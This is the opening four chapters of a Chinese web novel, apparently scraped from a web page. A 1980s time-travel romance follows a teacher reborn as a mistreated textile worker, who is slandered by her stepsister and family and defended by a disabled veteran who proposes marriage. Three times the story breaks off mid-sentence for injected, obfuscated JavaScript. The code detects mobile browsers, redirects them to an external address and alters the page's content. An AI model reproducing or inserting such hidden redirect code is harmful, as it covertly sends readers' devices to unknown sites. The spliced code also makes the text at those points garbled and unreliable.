《嫁给残疾维修工[八零]》 1. 同床共枕 “好吵啊,大周末还装修……” 耳边不断传来嘈杂的噪音,江乐阳还以为是楼上邻居又开始装修,伸手在床头柜上摸索着静音耳塞,打算戴上耳塞接着睡,可是四肢仿佛灌了铅一样沉重,好不容易抬起手,却摸到一处触感奇怪的东西。 鼓鼓的很有弹性,一只手都包裹不住。 江乐阳没忍住捏了两下,微微转动手腕,又换了个角度感受一番,指腹摸到中间的凸起时,脑神经突然重连成功。 不对,这个手感!这是胸肌! 江乐阳猛地从床上坐起来,睁大了眼睛不敢相信,自己的床上竟然躺着肌肉男? 不对,这根本不是自己的房间,身上的被子是充满年代感的粉色碎花,手感也很粗糙,像是上个世纪的产物。 江乐阳带着惶恐起身,踩着地上的深蓝色布鞋,站在床边环视着周围。 纯木质的旧衣柜,衣柜门上倒贴着已经卷边的红色福字,床头摆着洗脸架,架子上还有一个掉瓷的搪瓷盆,窗户的玻璃缺了一块,简单地用木条钉在了一起。 “这是哪儿?” 江乐阳原本是实验三中的英语老师,工作顺利、前途光明,昨天晚上明明还在熬夜备课,为什么会突然出现在这里? 再看床上的陌生男人眉头紧皱,好像还没睡醒,江乐阳赶紧检查了自己身上的衣服,扣子都还在原处,裤子也都好好地穿在身上,昨天晚上应该什么都没发生。 还没搞明白到底是什么情况,眼下的情况却没留给她继续思考的余地,门口的噪音并非装修,而是有人在砸门,力度越来越大,年久失修的木门摇摇欲坠,最后伴随着嘭的一声巨响,竟然直接被人踹开了。 一群穿着蓝色工服的女人闯了进来,眼里的嘲讽藏都藏不住,站在门口叽叽喳喳,虽然还没指着江乐阳的鼻子骂,但是不要脸、□□等词汇不绝于耳,人群中还站着一个梳着三七分头型的男人,江乐阳和他对上眼神,脑海中突然涌出一段段原本不属于她的回忆。 男人开口就是指责:“乐阳,你怎么能做出这种事情,我对你很失望。” “曹大哥,不是这样的,我没有……” 江乐阳的身体仿佛不受自己控制,解释的话说到一半,余光瞥见挂历上的数字,赫然写着1985年,她才意识到发生了什么。 自己这是穿越了! 穿成八十年代跟自己同名同姓的纺织厂女工! 这个油头男人叫曹思明,是供销社的售货员,手里掌握着供销社的物资信息,又有些油嘴滑舌,不少女孩都对他芳心暗许,原主也是其中之一,自以为是在谈恋爱,实则心甘情愿被他骗钱。 江乐阳对曹思明的那句解释,是原身残留的最后一丝意识。 “姐姐,我们都看见了,你怎么能趁着爸妈不在家,就做出这种事情呢?” 说话的女孩叫江映梅,是原身同父异母的妹妹,也是这场“捉奸”的始作俑者。后妈偏心,这个妹妹从小也跟着刁难原身,一开口就是纯正的绿茶味,江乐阳这才想起来昨天发生了什么。 江乐阳是纺织厂女工,就住在厂子的家属大院里,昨天是纺织厂张书记的儿子办婚礼,这个妹妹想让原身出丑,原本打算多灌她几杯酒,把她带去新房闹笑话,哪知道原身喝了几杯就犯恶心,胃里实在难受,酒席上的菜都没吃几口,自己早早就回了房间。 计划落空的江映梅原本还有些失望,可是起夜的时候碰巧看见有男人摸黑进了原主的房间,这才一大早兴致勃勃想来捉奸,还把街坊邻居都叫上了,打定了主意要败坏江乐阳的名声。 原主的最后一丝意识消散之后,江乐阳完全掌握了这具身体,她可不是任人拿捏的软蛋,班上那群青春期的学生都能被她管得服服帖帖,而且这个年代风气保守,乱搞男女关系可是大罪,怎么都不能由着这群长舌妇乱说。 “我可什么都没做,这是书记儿子的朋友,昨晚参加婚礼喝多了,书记家里房间住不开,只能托我照顾他,我让他睡了我的房间,自己就在堂屋里凑合了一晚,早上刚想过来看看他醒了没,你们就大张旗鼓地闯进来,是想毁我名声吗?” 江乐阳其实并不认识床上的男人,只记得昨晚的婚礼上,他一直陪在新郎身边挨桌敬酒,遇到灌酒的亲戚便会挺身而出,帮新郎拦下几杯。 倒也不是她过目不忘,但这男人腿脚好像不太方便,在酒席上全程拄着手杖,走动的时候手杖敲击水泥地面,听声音就能知道敬酒到哪一桌,原身也好奇地多看了几眼。 能帮着新郎敬酒,想来关系应该不错,张书记必然不愿意让这种事情闹大。 果然把书记搬出来,众人脸上开始有些迟疑,只有江映梅打定了主意要往江乐阳身上泼脏水。 “姐姐你自己不检点,怎么还把书记拉下水?” “你昨晚明明都喝醉了,还怎么照顾他?” “搞破鞋还敢把书记搬出来,江乐阳你怎么能这样?” 江乐阳反问她:“哦,昨晚应该有吃席的人看见是我自己回的家吧,你有什么证据说我醉了,难不成你给我下药了?” “我才没有,你别胡说,你俩明明就睡在一张床上!” “你哪只眼睛看见我们睡在一张床了?我昨晚就睡在堂屋的椅子上,身上的衣服裤子都没换。” 江乐阳心里万般庆幸,在门被撞开之前自己就起来了,要是真的被抓到躺在一张床上,那才真的是百口莫辩。 “你明明就没睡堂屋!” 原身的父母都不在家,谁知道她晚上到底睡在哪里,这个年代又没监控,只有江映梅一个人在这里跳脚,只要咬死不承认,这个绿茶妹妹也想不出多高明的招数来,江乐阳淡定地反问她:“你有证据吗?” “那……那你敢去找书记作证吗?” 还没等江乐阳开口,身后传来一道低沉又坚定的男声。 “为什么不敢?” 众人破门而入的时候,陆锋就被吵醒了,只是昨晚喝得太多,大脑一时不清醒,缓了半晌才想起来到底发生了什么。 昨晚他实在是喝得太多,新郎原本找了个空房间给他休息,是他自己走错了方向,误打误撞进了江乐阳的房间,也没看清楚床上有人,竟然就这么睡过去了。 陆锋心中懊恼,怎么能在酒后做出这么离谱的事情,且不说毁了人家姑娘的清白,要是坐实了流氓罪,自己也没有好果子吃。 可是江乐阳和众人对质时,一直挡在他身前,陆锋看着眼前清瘦的背景,没想到两人素不相识,她竟然会选择维护自己,心中不免动容。 陆锋几步走到江乐阳身侧,递给她一个坚定的眼神。 他身材高大,眼神也很凌厉,即便腿有残疾也没有畏缩,江映梅被他吓得熄了气焰,没人敢因为这件事真的去打扰书记,进退两难之际,书记的声音却突然从门外传来。 “一大早在这儿围着闹什么呢?” 两家原本就住在一个大院里,陆锋昨晚才会走错房间,书记在家刚喝了新媳妇茶,就听见外面吵吵嚷嚷,原本只想过来看看,陆锋却先发制人迎了过去。 “张叔,昨晚多亏了江同志照顾我,这些人却要污蔑我俩,您老可得给江同志做主啊。” 一看陆锋和张书记说话如此熟稔,江乐阳就知道他老人家一定会站在自己这边,心里的石头总算落了地,也适当地开始示弱。 “张书记,他们不分青红皂白就踹了我家的门,还说我……说我……” 书记何等的人精,一看这个场面,怎么可能还不知道发生了什么,陆锋不仅是他老友的孩子,还是退伍军人,不论出于哪一方面考虑,今天这件事他也必须掩盖下来。 “江家小姑娘,你受委屈了,是我考虑不周,不该把小陆一个单身汉托付给你,可是昨天晚上来客太多,家里也实在没顾过来。” 书记先拍了拍江乐阳的肩膀以示安抚,又转身向众人说道:“是我昨天请江乐阳照顾陆锋,难道我做什么还要跟你们每个人都提前报备吗?你们红口白牙胡乱污蔑,让人家小姑娘以后还怎么见人?” 众人低着头不敢再多说,只是小声嘟囔着,是江映梅言之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627487|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凿凿说江乐阳偷男人,让大家都来捉奸,书记的眼神扫过江映梅,吓得她往后退了两步。 “你们好歹是亲姐妹,你怎么能给自己姐姐泼脏水?” “不是,我真的看见他……” “别说了,今天的事情既然是你撺掇的,你就该给江乐阳道歉。” 书记的态度坚决,江映梅心眼坏、但是胆子小,不敢再反驳什么,只能含糊着说了一句对不起,转身就想跑走,江乐阳却突然抓住她的手腕,“诶,你还得赔我修门的钱。” 原身在家里处境不好,生活用品都得花自己的工资买,能从江映梅手里薅一点出来也是好的。 “给你,给你行了吧……” 江映梅心中羞愤,不想和她再纠缠,从口袋里摸出一把零钱塞给江乐阳,赶紧从人群中溜了出去,其余的人自然也就散了。 书记看了看陆锋,又看了看江乐阳,懒得再过问年轻人的事情,也转身回了自己家,剩下两个人站在屋里面面相觑,这才后知后觉有几分尴尬,尤其江乐阳想到自己刚刚还捏了人家的胸肌,恨不得想找个地缝钻进去。 陆锋更是觉得冒犯,不论怎么说,这件事都是自己做错在先,是自己喝醉酒闯进人家闺房,竟然还和她同床共枕,占了江乐阳的便宜,还要她为自己解围,实在是不应该。 “昨天晚上是我走错房间,真的很抱歉,我……我一定会负责的……” 即便有书记出面担保两人清白,也挡不住流言蜚语,跟陌生男人睡了一晚,江乐阳今后要再议婚事恐怕很艰难了。 还没适应旧思想的江乐阳倒是满不在乎,两人之间又没发生什么实质性的关系,更何况她才穿越过来第一天,都还没理清原主的处境,哪里能想到嫁人那么长远的事情。 她也不知道陆锋的底细,这件糊涂事最好就这么翻篇了,谁也别再计较。 “我都说了我昨晚睡的堂屋,你要负什么责?” 哪知道这句话一说出口,陆锋的脸突然就红了,低着头都不知道该看哪里,“你刚刚……” 后半句实在是说不出口,可是江乐阳看见他捂着左边胸口的动作,突然就明白了。 刚刚自己摸他胸肌的时候,这个男人就醒了! 这是在怪自己占了他便宜? 江乐阳心里暗暗骂了一句,靠,都怪这双手! 可是她真没摸过肌肉男啊,还以为是做了美梦呢,现在看着陆锋这幅害羞的模样,跟自己说话都不敢对上眼神,好像自己真的耍流氓了似的,只能试探着问了一句:“我就摸了一下,我不用负责吧?” “不,不用。” “那你还负什么责?” “我……我……” 陆锋想说自己可以娶她,他本来也是个单身汉,只是不知道江乐阳会不会嫌弃自己家里的条件,便不敢这么轻易开口。 这男人不经逗,江乐阳笑着问他:“怎么还结巴了,要不你负责找个人帮我把门修了吧?” “啊,修门?不用找人,我就能修。” 终于能找到点正事缓解尴尬,陆锋赶紧弯下腰仔细检查,门板没什么问题,只是轴承中间松动,才会轻易被人踹开。 “你家里有备用的螺丝钉吗,我先给你把门装上凑合用着,过两天找个质量好点的新轴承给你换上。” 江乐阳不懂这些,只是依照原主的记忆从柜子找出了钉子和螺丝刀,又数了数刚刚江映梅塞过来的零钱,一张一张捋平整了,总共也就一块多,她不知道这个年代的物价,也不知道够不够。 “我身上暂时只有这么多,你看够不够?” 陆锋压根没想着要收她的钱,连忙拒绝说不用,只是他手上干着活没法推脱,江乐阳直接就把钱塞到了他衣服侧面的口袋里,伸手还摸到了陆锋腰间的肌肉。 完全是不经意的触碰,江乐阳都没往心里去,只是陆锋过于敏感,毕竟……这双手刚刚还捏了自己的胸口。 好像一道微弱的电流从皮肤划过,陆锋连拒绝都忘记了,侧过头假装跟螺丝刀较劲,甚至不敢抬头看她。 2. 我愿意娶她 江乐阳想不明白自己为什么会穿越过来,也不知道该怎么回到现代社会,不敢像电视剧里,贸然去撞墙或者跳楼尝试,只能走一步看一步。 好在她性格还算乐观,一边检查家里的财物,一边梳理原身的身世。 母亲早亡,父亲再娶,后妈又生了一儿一女,对她并不好,也就是勉强没让她饿死,言语上的辱骂司空见惯,弟弟妹妹犯了错她也要跟着挨打,从小就是个可怜人,难怪曹思明几句甜言蜜语就哄得她工资都拿出来了。 “也就是你这个傻姑娘,渣男把你骗得团团转,你还以为处对象呢,骗感情也就罢了,怎么能被骗钱呢……” 江乐阳看着镜子里的自己,深深叹了口气,心里估摸着怎么也得让渣男出点血才行。 曹思明在供销社上班,手里掌握着供货的信息,经常以此为自己谋点好处,比如五毛钱可以让他帮忙留一双时兴的皮鞋,或者一包烟可以打听到电视机到货和开售的具体时间,这些事情大家都睁一只眼闭一只眼。 但曹思明贪心不足蛇吞象,还想要得更多,竟然跟黑市上的人打通了关系,以次充好、开空头支票骗钱,干的都是违规的事情。 曹思明的空头支票里,欠着江乐阳三个搪瓷盘、四把梳子、两双皮鞋,还有许多算不清楚的小物件,钱早就被曹思明挥霍了,每次江乐阳开口想要东西,就会被他的甜言蜜语敷衍过去,最有用的一句就是:“咱们迟早都是一家人,何必分那么清楚呢?” 原身傻乎乎以为曹思明真的会娶自己,哪里知道自己只是鱼塘中的一条鱼。 只是那些东西都无凭无据,江乐阳估摸着也要不回来了,手里唯一留下的凭证,是一台缝纫机。 家里本来是有缝纫机的,那是原身母亲的嫁妆,后来被后妈霸占了,原身存了很久的钱,也想给自己置办一台,但是她没有缝纫机票,只能拖曹思明帮忙。好在这台缝纫机意义重大,原身将它当作思念母亲的寄托,傻姑娘终于记得让曹思明写了个凭证。 江乐阳对镜子里的人许下诺言:“放心吧,我肯定让你拥有自己的缝纫机。” 江乐阳踏进供销社的时候,曹思明身边还围着两三个女孩,买了一斤糖果还想给曹思明分半斤,看见江乐阳,几个人的眼神里都带着鄙夷。 “江乐阳你怎么还有脸出门?” “某些人骗小姑娘的钱都还有脸上班,我为什么不能出门,曹同志,你说呢?” 不知道为什么,曹思明觉得今天的江乐阳好像不一样了,但他还是相信自己的魅力,没去细想她的言外之意,只是清了清嗓子问道:“乐阳,你是来找我道歉的吗,我对你真的很失望,你怎么能和陌生男……” “打住打住,我什么都没做错,书记都给我作证了,该道歉的是江映梅、是你吧。” “我道什么歉?” “你欠了我一百八十块钱,逾期不还,心里一点歉意都没有吗?” 江乐阳说话间将手里的欠条摊开,当初曹思明没敢把倒卖缝纫机的事情明确写出来,只写自己欠了一百八十块,现在倒也方便要钱。 “你……” 曹思明伸手想抢她手中的欠条,江乐阳眼疾手快收了回来,压低了声音威胁道:“小曹同志啊,我劝你还是赶紧还钱,今天可是星期一,你们供销社的领导一会儿就该来巡查工作了,我要是去问问领导,怎么才能不要票买到缝纫机,你说,领导会怎么回答我啊?” 每周一供销社的领导都会来巡查,江乐阳是特地选好了时间过来,欠钱不还是小事,毕竟欠条上也没写明白还款期限,但是投机倒把就不一样了,这可是破坏市场经济的大罪,更何况曹思明自己做了亏心事,心里本就有鬼,被江乐阳这么一吓,差点从柜台里跳起来。 “江乐阳你别太过分!” “还有不要票怎么买到搪瓷盆,也得请曹同志好好解释解释呢。” “江乐阳你怎么变成这幅牙尖嘴利的样子,我告诉你,我不可能娶你这样的女人!” 江乐阳抱着胳膊对他冷笑,像是在看笑话似的。 “你可千万别娶我,我感谢你八辈祖宗。” “你你……” “别你你我我了,赶紧还钱吧,一会儿被领导看见,你还得费心编谎话。” 供销社这份工作又有地位又能谋利,曹思明不允许自己的前途出任何意外,这种事情万万不能闹大,以前他看江乐阳又傻又好骗,但今天的她好像真的不一样了。 “你小声一点,我还……我还你钱就是了。” 曹思明气得后槽牙都快咬碎了,可他身上也没带这么多钱,摸遍了身上的口袋也只能先给了江乐阳三十块,算是今天的封口费,并且答应尽快还清剩下的钱。 “陆同志你可得尽快啊,否则下周一我还来。” 江乐阳乐呵呵拿着手里的三十块钱,感叹着果然还是要有钱才有底气,思索着怎么才能弄到缝纫机票,也算是了了原身的愿望,却在街角遇到了江映梅。 江映梅也喜欢曹思明,她对原身的恶意,大半都是因为争风吃醋。 “姐姐,你怎么还有脸去找曹大哥,你别以为我不知道,你就是跟那个男人搞破鞋!” 江乐阳刚拿了钱,懒得跟她生气:“曹思明身边那么多小姑娘,你怎么就盯着我咬啊?而且你自己口味独特喜欢那种货色,别拉上我啊。” “江乐阳你怎么说话呢!?” 以前她可没少对原身说过刻薄话,今天江乐阳还了一句嘴,她就受不了了,还有抓奸那件事,要不是自己穿越过来,原身下半辈子还怎么活? 好歹是同父异母的妹妹,江乐阳真想不明白她为什么这么恶毒。 “我说你是狗,见到曹思明就舔,见到我就咬,听懂了吗?” “你你你……” 江映梅指着她的鼻子半晌没说出一句话来,从前的江乐阳总是畏手畏脚的,压根不敢反驳她,这两天就跟变了一个人似的,竟然一脸平静地骂人,还拍掉了她的手。 “妹妹,你妈没教过你吗,别指着人说话,没礼貌。” 江映梅气得头发都快竖起来了,半晌终于说出一句话:“爸妈回来了,你就等着被他们教训吧!” 江乐阳这才想起来,原身的父母上个月就回老家看奶奶了,所以自己穿越过来的那天都没见到两人,现下看着自己这个便宜妹妹脸上的得意,江乐阳隐约有种不好的预感。 果不其然,她刚一进门就看见原身的父亲江连宗板着脸,像是谁挖了他祖坟,继母何莲则是假笑着走过来拉住江乐阳的手,假意关心她。 “乐阳这是去哪儿?是不是出去找朋友了?你爸爸回来没看见你,正生气呢。” 江映梅趁机添了把火:“她还能去哪,到处出去找男人呗,水性杨花!” 江连宗一听这话果然更生气了,拍着桌子吼了一句:“不守妇道。” 江乐阳进门到现在还一句话没说呢,屎盆子就先扣上来了,她也懒得解释,只问了一句:“找我干嘛?” 何莲继续说着:“我和你爸爸给你相了门好亲事,东街陈家的大儿子,长得一表人才,又在钢厂里端铁饭碗,咱们商量着定个好日子,你就嫁过去吧。” “陈家大儿子?那个快四十的老酒鬼?” 江乐阳从原主的回忆里勉强找出了这个人,的确是在国营钢厂里上班,但是多年酗酒,喝醉了就打老婆,都打跑三个老婆了,何梅竟然想让自己嫁过去? “你这孩子怎么说话呢,他就是爱喝几杯,关上门不是照样过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627488|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子嘛。” “那你怎么不让江映梅嫁过去?” 何莲气得瞪了她一眼,可更伤人的是,江连宗竟然开口说了一句:“小梅乖巧懂事,你怎么配跟她相提并论?” 江乐阳可以理解后妈偏心,毕竟她们之间没有血缘关系,可她想不明白,为什么连亲身父亲都要这样说自己。 “小梅都跟我们说了,你趁我们不在家,带野男人回家过夜,被抓个现行还死不承认,我的脸都被你丢尽了,你让我还怎么做人,以后小梅还怎么嫁人?” 江乐阳真的快气笑了,原来又是江映梅搬弄是非。 “所以你就要赶紧把我嫁出去,免得我败坏了你的名声?” “自己知道就好,江家不会给你任何嫁妆,自己麻利点把东西都收拾了。” “陈家我不会嫁的,你们要是觉得丢人,我们就断绝关系,我看你也不想要我这个女儿,我自己会搬走,不会再影响你们的好名声,也不会影响你们的乖女儿嫁人。” 何梅又开口想装好人:“乐阳,我们也是为你好啊……” 江乐阳一听见这对绿茶母女说话就上火,忍不住质问她:“你们为我好,所以让我嫁给那个老酒鬼,是盼着我嫁过去被她打死吧?” “你怎么跟你妈说话呢?” “我妈早就死了。” 提到早逝的母亲,江乐阳忍不住有些哽咽。 “我妈要是活着,怎么可能让江映梅穿新衣服,我这个姐姐只能捡她的旧衣服穿;怎么可能让我从小就干家里所有的家务活,还要被你们指指点点;就连我第一次来例假,被裤子上的血吓得动都不敢动,还要让我去外面的水井挑水……” “爸,她是后妈她偏心也就罢了,你可是我亲爸啊!” 昨晚明明什么都没发生,书记也站出来维护自己,但江家父母还是不分青红皂白,劈头盖脸只有指责,直接就坐实了自己勾搭野男人。 而且这几年正在严打作风问题,这些话的杀伤力到底有多大,这个年代的人心里更清楚,江乐阳真的不明白,怎么会有这样主动给女儿泼脏水的父母。 “混账!” 也不知道哪句话彻底惹恼了江连宗,他卯足了力气,一巴掌甩在江乐阳的脸上,江乐阳一时没站稳,踉跄着跌坐在地上,跟着掉出几滴眼泪。 脸上火辣辣的疼,耳边是这一巴掌带来的嗡鸣,让她听不清江连宗的怒骂。 深吸了几口气才缓过来,江乐阳擦了擦眼泪,想起原身从前也经常这样挨打,她突然就不想吵了,原身在这个家里受到的所有不公正待遇,不是她几句话就能辨出是非的。 这些人不讲道理,她为原身讨不来道歉,但也不能任由他们将自己推进火坑。 江连宗却还是不罢休:“你是我江家的种,婚事就得听我的,陈家的彩礼我们已经收下了,就算绑,我们也要把你绑去陈家!” “原来是已经把我卖了啊,卖了多少钱,说给我听听吧。” “你这是什么态度?江乐阳,你出去打听打听,你一个被男人睡过的破鞋,除了陈家,还有谁愿意娶你?” 江乐阳无法理解,为什么身为父亲,能用这样肮脏的词语来形容自己的女儿,不知道是原身残留的意识作祟,还是那一巴掌被打得太疼了,她只觉得自己的嗓子像是被堵住了,眼泪根本止不住,一时连反驳的话都开不了口,只是仰着头死死盯着江连宗。 江连宗被她这幅不肯服软的样子惹得更加生气,竟然抄起一旁的鸡毛掸子还想继续动手,细长的木棍划破屋内僵持的气氛,发出骇人的风声,江乐阳觉得自己又开始耳鸣了,但是这一棍最终并没有落到她身上。 江乐阳只听见一道急促又坚定的嗓音。 “我愿意娶她。” 3. 跟我回家 陆锋十几岁就去了部队当兵,训练和实战都拼尽全力,原本前途一片大好,却在一次执行任务的过程中被炸弹炸伤,左腿粉碎性骨折,反复做了几次手术,还是不能恢复如初,虽然不需要坐轮椅,但左腿不能受力,走路的时候就有点跛。 也是因为腿伤,他才被迫退伍回家,刚开始在汽车厂里干活,后来赶上改革开放,鼓励发展个体经济,为了响应政策号召,就带着几个朋友在郊区开了一家维修店。 他在部队里也学了些电路知识,常见的家具、电器、小汽车都能搞定,国营工厂里的机械出了故障,也会请他帮忙看看,赚钱其实不少,但确实没有国营厂的铁饭碗稳定,这时候大家对个体户的接受度也还没那么高。 尤其家里还有个在上小学的弟弟,说难听点就是拖油瓶,所以他的婚事才一直被耽误了,年近三十还是个单身汉。 早几年看他年轻能赚钱,还有媒婆会上门说亲,可是女方话里话外都嫌弃他是瘸子、嫌弃他弟弟是个累赘、嫌弃他父母早亡家里没有帮衬,甚至问他婚后能不能把弟弟送走,陆锋只好跟媒婆表示自己不想结婚,别再给双方添堵了。 遇见江乐阳完全是计划之外的意外,可是在这个年代,女孩子的名声太重要了,又是自己走错房间在先,陆锋必须负责。 其实也不仅是出于责任感,那天江乐阳站在前面维护他的时候、被她摸到胸口的时候,陆锋体会到了前所未有的悸动,所以他回家准备了好几天,今天就是想上门来提亲的。 陆锋到市区就先去了张书记家里,陆家父母都不在了,但是提亲这件事总需要有长辈出面。两家有些故交,前几年张书记的老婆还在为他的婚事操心,听说这小子终于开窍了还挺开心,可是一听对象是江乐阳,眉头又皱了起来。 “我们跟江家也是多年的邻居了,乐阳这小姑娘挺不容易的,老话说有了后娘就有后爹,这些年她也受了不少委屈,可是她好像有心上人了……” 陆锋端着水杯的手一紧,他从来没谈过恋爱,对男女之事的确不开窍,光想着自己要上门提亲,压根没考虑到江乐阳会不会同意。 “江同志她……在和别人处对象吗?” “小年轻的事我们也不好细问,但她跟供销社的小曹的确走得挺近的,你俩……那啥的那天,小曹也来了。” “不过那个小伙子不太靠谱,跟好几个女青年都不清不楚的……” 陆锋的心跟着书记老婆的话往下坠,他这才意识到,因为自己走错房间,不仅毁了江乐阳的清白,还会影响江乐阳的恋爱。 他突然不知道该怎么办了,原本带来提亲的礼品好像都成了笑话,万一江乐阳真的不愿意,自己总不能强娶她。 张书记夫妻还在跟他说江家的情况,就听见了尖锐的吵闹声。 大院里没什么隔音,平时谁家吵架、打孩子都听得一清二楚,江家窗户都没关,从江连宗开始提高音量震慑江乐阳,陆锋就已经听见了。 原本张书记还拉着他,劝他别去过问别人的家事,可是陆锋隔着窗户看见那一巴掌落在江乐阳脸上时,就再也坐不住了。 他三步并作两步冲到江连宗面前,直接一把握住了挥落下的鸡毛掸子,手心都被震得发麻,但还是坚定地护在江乐阳身前。 “我愿意娶她。” 陆锋的左腿不方便,走快了姿势更奇怪,甚至还有点站不稳,江乐阳能看见他的右腿因为承受大部分重心而微微摇晃,握着拐杖的左手青筋鼓起,费力才能稳住身形,但依旧坚定地站在自己身前。 江连宗想把鸡毛掸子抽回来,可是使上全身的力气也抢不过陆锋,自己还差点没站稳,抬眼看见张书记夫妻也站在自家门口,只好松了手。 何莲生怕被书记看了自家的笑话,赶紧笑着把人迎了进来,又劝了江连宗几句,让他坐下好好说。 陆锋这才回身把江乐阳扶起来,看着她脸上清晰可见的巴掌印、断了线似的泪珠子,想帮她擦眼泪又怕冒犯了她,手脚都不知道该往哪放。 一看他这副样子,张书记夫妻也就明白他的心意了,主动开口说道:“乐阳脸都哭花了,赶紧回屋里洗洗,小陆你也去帮帮忙,我们长辈聊聊家常。” 陆锋原本还想说说提亲的事情,但是还没开口就接收到张书记的眼神,也不再多说什么,扶着江乐阳往里屋走,将人扶到床边坐下之后,又赶忙端着洗脸盆去后院接水,连毛巾都拧好了才递给江乐阳,偏偏舌头跟打结了似的,全程说不出半句话。 方才的坚定泄了气,他小心翼翼地看着江乐阳,怕她哭,又怕她把委屈憋在心里。 江乐阳的情绪其实缓过来不少,她会争执、会流泪,更多是作为旁观者匆匆看过原身的遭遇,就像看电影时会和主角共情一样,但实际上她自己生在新时代,从小也没受过什么委屈,电影的情节结束,她也就回到现实了。 看见陆锋忙前忙后,把毛巾叠好了递给自己之后,双手又找不到地方放,甚至都不敢跟自己坐在一起,就这么直愣愣地站着,心情也跟着轻松了不少。 “还疼吗?要不我出去买根冰棍,你冷敷一下?” 江乐阳擦了擦脸,还是火辣辣的疼,不过她也没那么娇气,冰敷完估 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627489|172446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计也会肿,索性就凑合把湿毛巾叠起来,敷在了右边脸颊上。 “不用麻烦了,我没啥事。” 这话落在陆锋耳朵里就成了逞强,他方才亲耳听见了江乐阳的哭泣,听见那么响亮的巴掌声,听见江家父母要用她去换彩礼,怎么可能没事。 陆锋的父母还活着的那几年,一家四口的生活还算温馨,他自己又是男儿身,并没感受过重男轻女,很难想象江乐阳的处境为什么会这么艰难。 本来还在因为江乐阳有对象的事情纠结,可现在话都已经说出去了,陆锋也只能硬着头皮跟江乐阳再开一次口。 “江同志,我刚刚说我愿意娶你,是真心话,只要你愿意,我今天就可以带你离开这里,你父母那边我会去谈。” 江乐阳仰着头看向他,又指了指墙角的小板凳,“你坐着吧,这样跟你说话累脖子。” 看他拄着拐忙前忙后,江乐阳心里有点过意不去,但是两人也不熟,她也不好开口多问,只是想着别让他站得太累。 “哦哦,好……” 陆锋拉过小板凳坐在床边,板凳有点矮,他坐下之后反而比江乐阳矮了一头,但他没觉得有什么不对劲,微微仰头看向江乐阳的方向,还想接着问她答不答应。 “咱们才第二次见面,我都不知道你叫什么,你就要娶我啊?” 内里始终是现代人的芯子,江乐阳并不认为同床共枕的两个人就必须结婚,更不认为走入婚姻会是逃离原身家庭的途径,但她也明白自己需要一定程度地顺应目前的环境,才能好好生活下去。 陆锋如果能帮到自己,江乐阳也不会拒绝。 听到她的问话,陆锋也意识到自己考虑不周,赶紧开口。 “我叫陆锋,今年二十八岁,初中学历,以前当过兵,退伍之后自己开了个维修店,只是个体户但是收入还行,家里父母都不在了,还有个弟弟在上小学,在学校里成绩一般,但是挺听话的。” “这些天我在家准备了提亲礼,怪我没有提前打听你家里的情况,也没提前知会你,张叔说会帮我跟你父母谈,你有什么想法可以跟我商量。” “我家里没有长辈,很多规矩我也不太懂,反正都听你的。” “还有,我……” 陆锋的手搭上自己的左腿,他的条件本来就不算好,再加上这条腿,怕是要把江乐阳吓跑了。 可他还是决定和盘托出。 “我这条腿,是残疾的……” 他知道自己配不上江乐阳,也不想逼着她和自己结婚,所以他把选择权交给江乐阳,低着头等待审判。 4. 放心,我有钱 江乐阳看着眼前语无伦次的人,两条腿蜷在小板凳周围,几乎是跪坐的姿势,跟自己说话时深邃的眼神活像只乖巧的大型犬。 这个人刚刚像英雄一样破门而入,挡在自己身前,现在又陷入自卑的深渊,像是想把伤残的左腿藏起来。 想到刚刚江连宗盛怒之下挥出的鸡毛掸子,江乐阳弯腰拉过他的右手,摸了摸他的手心,只摸到粗厚的老茧,唯独刚刚接住鸡毛掸子的位置,有明显的肿胀。 “疼不疼?” 陆锋紧张地缩了缩手指,五指僵硬得不知道该收紧还是放松。 平时都是干粗活的手,对陆锋来说,江乐阳这点力度就跟羽毛似的,可他还是无比清晰地感受到羽毛划过心尖。 怎么会疼呢,要是打在江乐阳身上,他才会疼。 在自己不知道的时候,又有多少鞭打落到了她身上? “他们经常打你吗?” 江乐阳回顾着原身的记忆,继母刚嫁过来的时候也有过短暂的表面和平,不过后来她的亲生孩子出生,这碗水就再也端不平了,直到原身进了纺织厂,每个月给家里上交工资,态度才缓和了一些。 “这几年少了,今天我是没准备,你放心,下次我肯定还手。” “不要有下次了。” 陆锋听得直皱眉,反手握住了她的指尖,再次开口问她:“江同志,你愿意跟我回家吗?” 江家已经是一个火坑了,如果嫁给老酒鬼就是跳进另一个火坑,想不出来到底是为什么,但陆锋心里有一个迫切的声音,想要立刻带她离开。 